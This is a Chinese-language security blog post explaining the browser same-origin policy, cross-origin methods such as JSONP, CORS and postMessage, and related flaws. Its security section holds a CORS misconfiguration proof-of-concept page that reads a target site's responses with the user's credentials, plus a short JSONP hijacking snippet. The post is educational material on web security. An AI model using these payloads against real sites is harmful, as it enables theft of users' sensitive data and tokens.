Twosmi1e's Blog.

同源策略那些事

Word count: 3,574 / Reading time: 14 min
2019/11/05 Share

本文首发于先知社区,转载请注明来源。

同源策略

什么是同源策略

同源策略(Same Origin Policy)是一种约定,是浏览器最基本也是最核心的安全功能。可以说Web是构建在同源策略的一种实现。

浏览器的同源策略,限制了来自不同源的“document”或脚本,对当前“document”读取或设置某些属性。
SOP影响范围包括:普通的HTTP请求、XMLHttpRequest、XSLT、XBL。

判断是否同源

影响源的因素:

  • HOST
  • 域名或IP地址
  • 子域名
  • 端口
  • 协议

文件所在域不重要,重要的是文件解析加载所在的域。

URL Outcome Reason
http://blog.twosmi1e.com/dir2/test.html success
http://blog.twosmi1e.com/dir/inner/index.html success
https://blog.twosmi1e.com/secure.html failure diffrent protocol
http://blog.twosmi1e.com:90/dir2/etc.html failure diffrent port
http://code.twosmi1e.com/dir/other.html failure diffrent host

跨域

业务环境中一些跨域场景

  1. 比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
  2. 程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送ajax请求,请求另外一个页面的内容的时候,就会跨域。
  3. 电商网站想通过用户浏览器加载第三方快递网站的物流信息。
  4. 子站域名希望调用主站域名的用户资料接口,并将数据显示出来。

跨域方法

HTML标签

<script> <img> <iframe> <link>等带src属性的标签都可以跨域加载资源,而不受同源策略的限制。
每次加载时都会由浏览器发送一次GET请求,通过src属性加载的资源,浏览器会限制JavaScript的权限,使其不能读写返回的内容。

常见标签:

1
2
3
4
5
6
7
8
9
10
<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>

在CSS中,@font-face可以引入跨域字体。

1
2
3
4
5
<style type="text/css">
@font-face {
src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
}
</style>

document.domain

同一主域不同子域之间默认不同源,但可以设置document.domain为相同的高级域名来使不同子域同源。

document.domain只能向上设置更高级的域名,需要载入iframe来相互操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//父域的运行环境是http://localhost:9092/
//同样在部署在同一台服务器上的不同端口的应用也是适用的

<iframe src="http://localhost:9093/b.php" id="iframepage" width="100%" height="100%" frameborder="0" scrolling="yes" onLoad="getData"></iframe>

<script>
window.parentDate = {
"name": "hello world!",
"age": 18
}
/**
* 使用document.domain解决iframe父子模块跨域的问题
*/
let parentDomain = window.location.hostname;
console.log("domain",parentDomain); //localhost
document.domain = parentDomain;
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
/**
* 使用document.domain解决iframe父子模块跨域的问题
*/
console.log(document.domain); //localhost
let childDomain = document.domain;
document.domain = childDomain;
let parentDate = top.parentDate;
console.log("从父域获取到的数据",parentDate);
// 此处打印数据为
// {
// "name": "hello world!",
// "age": 18
// }
</script>

Alt text

window.name

window.name有一个奇妙的性质,
页面如果设置了window.name,那么在不关闭页面的情况下,
即使进行了页面跳转location.href=…,这个window.name还是会保留。

利用window.name的性质,我们可以在iframe中加载一个跨域页面。

这个页面载入之后,让它设置自己的window.name,
然后再让它进行当前页面的跳转,跳转到与iframe外的页面同域的页面,
此时window.name是不会改变的。

这样,iframe内外就属于同一个域了,且window.name还是跨域的页面所设置的值。

假设我们有3个页面,

a.com/index.html
a.com/empty.html
b.com/index.html

(1)在a.com/index.html页面中嵌入一个iframe,设置src为b.com/index.html
(2)b.com/index.html载入后,设置window.name,然后再使用location.href=’a.com/empty.html’跳转到与iframe外页面同域的页面中。
(3)在a.com/index.html页面中,就可以通过$(‘iframe’).contentWindow.name来获取iframe内页面a.com/empty.html的window.name值了,而这个值正是b.com/index.html设置的。

window.postMessage

window.postMessage(message, targetOrgin)方法是html5新引进的特性。
调用postMessage方法的window对象是指要接受消息的哪一个window对象,该方法的第一个参数message为要发送的消息,类型只能为字符串;第二个参数targetOrgin用来限定接收消息的那个window对象所在的域,如果不想限定域,可以使用通配符*。

需要接收消息的window对象,可是通过监听自身的message时间来获取传过来的消息,消息内容存储在该事件对象的data属性中。

location.hash

location.hash 方式跨域,是子框架具有修改父框架 src 的 hash 值,通过这个属性进行传递数据,且更改 hash 值,页面不会刷新。但是传递的数据的字节数是有限的。

详细参考:https://www.cnblogs.com/rainman/archive/2011/02/20/1959325.html#m4
a.html欲与b.html跨域相互通信,通过中间页c.html来实现。 三个页面,不同域之间利用iframe的location.hash传值,相同域之间直接js访问来通信。
具体实现步骤:一开始a.html给b.html传一个hash值,然后b.html收到hash值后,再把hash值传递给c.html,最后c.html将结果放到a.html的hash值中。
Alt text

flash

flash有自己的一套安全策略,服务器可以通过crossdomain.xml文件来声明能被哪些域的SWF文件访问,SWF也可以通过API来确定自身能被哪些域的SWF加载。
具体见:https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html

JSONP

JSON with Padding,就是利用script标签没有跨域限制的特性,使得网页可以从其他来源域动态获取Json数据。JSONP跨域请求一定需要对方的服务器支持才可以。

JSONP实现流程:
1.定义一个 回调函数 handleResponse 用来接收返回的数据

1
2
3
function handleResponse(data) {
console.log(data);
};

2.动态创建一个 script 标签,并且告诉后端回调函数名叫 handleResponse

1
2
3
4
var body = document.getElementsByTagName('body')[0];
var script = document.gerElement('script');
script.src = 'http://test.com/json?callback=handleResponse';
body.appendChild(script);

3.通过 script.src 请求 http://test.com/json?callback=handleResponse,
4.后端能够识别这样的 URL 格式并处理该请求,然后返回 handleResponse({“name”: “twosmi1e”}) 给浏览器
5.浏览器在接收到 handleResponse({“name”: “twosmi1e”}) 之后立即执行 ,也就是执行 handleResponse 方法,获得后端返回的数据,这样就完成一次跨域请求了。

CORS

CORS(Cross-Origin Resource Sharing, 跨源资源共享)是W3C出的一个标准,其思想是使用自定义的HTTP头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败。

实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口,就可以跨源通信。

Alt text
大致流程:

  1. 请求方脚本从用户浏览器发送跨域请求。浏览器会自动在每个跨域请求中添加Origin头,用于声明请求方的源;
  2. 资源服务器根据请求中Origin头返回访问控制策略(Access-Control-Allow-Origin响应头),并在其中声明允许读取响应内容的源;
  3. 浏览器检查资源服务器在Access-Control-Allow-Origin头中声明的源,是否与请求方的源相符,如果相符合,则允许请求方脚本读取响应内容,否则不允许;
    Alt text
    请求分类
    浏览器将CORS请求分成两类:简单请求(simple request)非简单请求(not-so-simple request)
  • 简单请求满足以下条件:
  1. 使用下列方法之一:GET、HEAD、POST
  2. HTTP的头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Content-Type(其值仅限于:application/x-www-form-urlencoded、multipart/form-data、text/plain)
  • 非简单请求:不满足简单请求外的请求。
    不满足简单请求条件的请求则要先进行预检请求,即使用OPTIONS方法发起一个预检请求到服务器,用于浏览器询问服务器当前网页所在的域名是否在服务器允许访问的白名单中,以及允许使用哪些HTTP方法和字段等。只有得到服务器肯定的相应,浏览器才会发送正式的XHR请求,否则报错。
HTTP头字段
  • Access-Control-Allow-Origin: 允许跨域访问的域,可以是一个域的列表,也可以是通配符”*”。
    注意Origin规则只对域名有效,并不会对子目录有效。不同子域名需要分开设置。
  • Access-Control-Allow-Credentials: 是否允许请求带有验证信息,这部分将会在下面详细解释
  • Access-Control-Expose-Headers: 允许脚本访问的返回头,请求成功后,脚本可以在XMLHttpRequest中访问这些头的信息(貌似webkit没有实现这个)
  • Access-Control-Max-Age: 缓存此次请求的秒数。在这个时间范围内,所有同类型的请求都将不再发送预检请求而是直接使用此次返回的头作为判断依据,非常有用,大幅优化请求次数
  • Access-Control-Allow-Methods: 允许使用的请求方法,以逗号隔开
  • Access-Control-Allow-Headers: 允许自定义的头部,以逗号隔开,大小写不敏感

    相关的一些安全问题

    CORS漏洞

    漏洞原理

    CORS跨域漏洞的本质是服务器配置不当,即Access-Control-Allow-Origin设置为*或是直接取自请求头Origin字段,Access-Control-Allow-Credentials设置为true。

    攻击过程

    最近遇到的某站
    对Access-Control-Allow-Origin未做限制

Alt text
在本地做一个泛解析将http://target.com.\*解析到本地,然后构造POC请求目标站点

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>

<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://target.com", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>

</body>
</html>

Alt text
能获取到一些敏感信息甚至token。

检测工具

https://github.com/chenjj/CORScanner

CORS与CSRF的区别

CORS 机制的目的是为了解决脚本的跨域资源请求问题,不是为了防止 CSRF。

CSRF一般使用form表单提交请求,而浏览器是不会对form表单进行同源拦截的,因为这是无响应的请求,浏览器认为无响应请求是安全的。

脚本的跨域请求在同源策略的限制下,响应会被拦截,即阻止获取响应,但是请求还是发送到了后端服务器。

相同点:都需要第三方网站;都需要借助Ajax的异步加载过程;一般都需要用户登录目标站点。

不同点:一般CORS漏洞用于读取受害者的敏感信息,获取请求响应的内容;而CSRF则是诱使受害者点击提交表单来进行某些敏感操作,不用获取请求响应内容。

小结

这种漏洞不痛不痒在国内日常被忽略,正则写好写严格就能很好防御,更多的一些利用方式参考https://xz.aliyun.com/t/2745

JSONP劫持

JSONP劫持实际上也算是CSRF的一种。当某网站使用JSONP的方式来跨域传递一些敏感信息时,攻击者可以构造恶意的JSONP调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。

一些案例

苏宁易购多接口问题可泄露用户姓名、地址、订单商品(jsonp案例)
唯品会某处JSONP+CSRF泄露重要信息
新浪微博JSONP劫持之点我链接开始微博蠕虫+刷粉丝

原理

JSON实际应用的时候会有两种传输数据的方式:

xmlhttp获取数据方式:
{"username":"twosmi1e","password":"test123"}

当在前端获取数据的时候,由于数据获取方和数据提供方属于同一个域下面,所以可以使用 xmlhttp的方式来获取数据,然后再用xmlhttp获取到的数据传入自己的js逻辑如eval。

script获取数据方式:
userinfo={"username":"twosmi1e","password":"test123"}

如果传输的数据在两个不同的域,由于在javascript里无法跨域获取数据,所以一般采取script标签的方式获取数据,传入一些callback来获取最终的数据,如果缺乏有效地控制(对referer或者token的检查)就有可能造成敏感信息被劫持。

<script src="http://www.test.com/userdata.php?callback=userinfo"></script>

简单POC:

1
2
3
4
5
6
7
<script> 
function jsonph(json){
alert(JSON.stringify(json))
}
</script>

<script src="https://target.com?callback=jsonph"></script>

SOME

SOME(Same Origin Method Execution),同源方式执行,不同于 XSS 盗取用户 cookie 为目的,直接劫持 cookie 经行操作,和 CSRF 攻击很类似,不同的是 CSRF 是构造一个请求,而 SOME 则希望脚本代码被执行。
靶场:https://www.someattack.com/Playground/About
具体可以看:https://www.freebuf.com/articles/web/169873.html

总结

最近学习的这方面知识时做了些笔记,于是有了这篇文章,有什么错误请大佬们指正,前端这块还是挺有意思的。各种小的漏洞组合起来也有很多精彩的利用方式。希望以后也能挖出更多有意思的洞。

一些比较精彩的漏洞挖掘案例
https://xz.aliyun.com/t/3514
https://www.freebuf.com/articles/web/164069.html
https://www.phpyuan.com/262163.html

参考

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
https://www.cnblogs.com/rainman/archive/2011/02/20/1959325.html
https://segmentfault.com/a/1190000009624849
https://www.jianshu.com/p/835bc9534281
https://www.k0rz3n.com/2019/03/07/JSONP%20%E5%8A%AB%E6%8C%81%E5%8E%9F%E7%90%86%E4%B8%8E%E6%8C%96%E6%8E%98%E6%96%B9%E6%B3%95/
https://www.freebuf.com/articles/web/169873.html
https://www.anquanke.com/post/id/97671
http://drops.xmd5.com/static/drops/papers-42.html

CATALOG
  1. 1. 同源策略
    1. 1.1. 什么是同源策略
    2. 1.2. 判断是否同源
  2. 2. 跨域
    1. 2.1. 业务环境中一些跨域场景
    2. 2.2. 跨域方法
      1. 2.2.1. HTML标签
      2. 2.2.2. document.domain
      3. 2.2.3. window.name
      4. 2.2.4. window.postMessage
      5. 2.2.5. location.hash
      6. 2.2.6. flash
      7. 2.2.7. JSONP
      8. 2.2.8. CORS
        1. 2.2.8.1. 请求分类
        2. 2.2.8.2. HTTP头字段
  3. 3. 相关的一些安全问题
    1. 3.1. CORS漏洞
      1. 3.1.1. 漏洞原理
      2. 3.1.2. 攻击过程
      3. 3.1.3. 检测工具
      4. 3.1.4. CORS与CSRF的区别
      5. 3.1.5. 小结
    2. 3.2. JSONP劫持
      1. 3.2.1. 一些案例
      2. 3.2.2. 原理
    3. 3.3. SOME
  4. 4. 总结
  5. 5. 参考